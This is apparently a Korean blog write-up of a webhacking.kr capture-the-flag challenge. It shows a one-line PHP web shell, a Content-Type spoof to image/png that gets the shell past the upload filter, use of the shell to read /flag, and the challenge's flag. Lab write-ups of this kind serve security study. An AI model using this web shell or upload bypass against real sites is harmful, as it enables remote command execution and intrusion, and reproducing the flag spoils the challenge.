반응형
https://webhacking.kr/chall.php
[문제]
[풀이]
웹쉘을 업로드해서 /flag를 출력하면 Flag가 나오는 문제이다.
먼저 웹쉘을 만들어준다.
<?php
system($_GET[cmd]);
?>
php 파일로 저장하고 파일을 제출한다.
잘못된 타입이라고 출력하고 아무일도 일어나지 않는다.
파일 타입이 잘못된 것 같으니 제출이 되는 파일을 찾아본다.
알아본 결과 zip, jpg, png 등등이 제출이 정상적으로 되었다.
패킷을 확인한다.
두 패킷을 확인해보면 Content-Type 이 다르다는 걸 확인할 수 있다.
php파일의 타입을 image/png 로 변경 후 제출한다.
제출이 된다.
이제 shell.php로 들어가서 쉘 명령어로 Flag를 확인해준다.
/flag 를 cat으로 열어준다.
Flag가 노출된다.
[FLAG]
FLAG{V2hhdCBkaWQgeW91IGV4cGVjdD8=}
반응형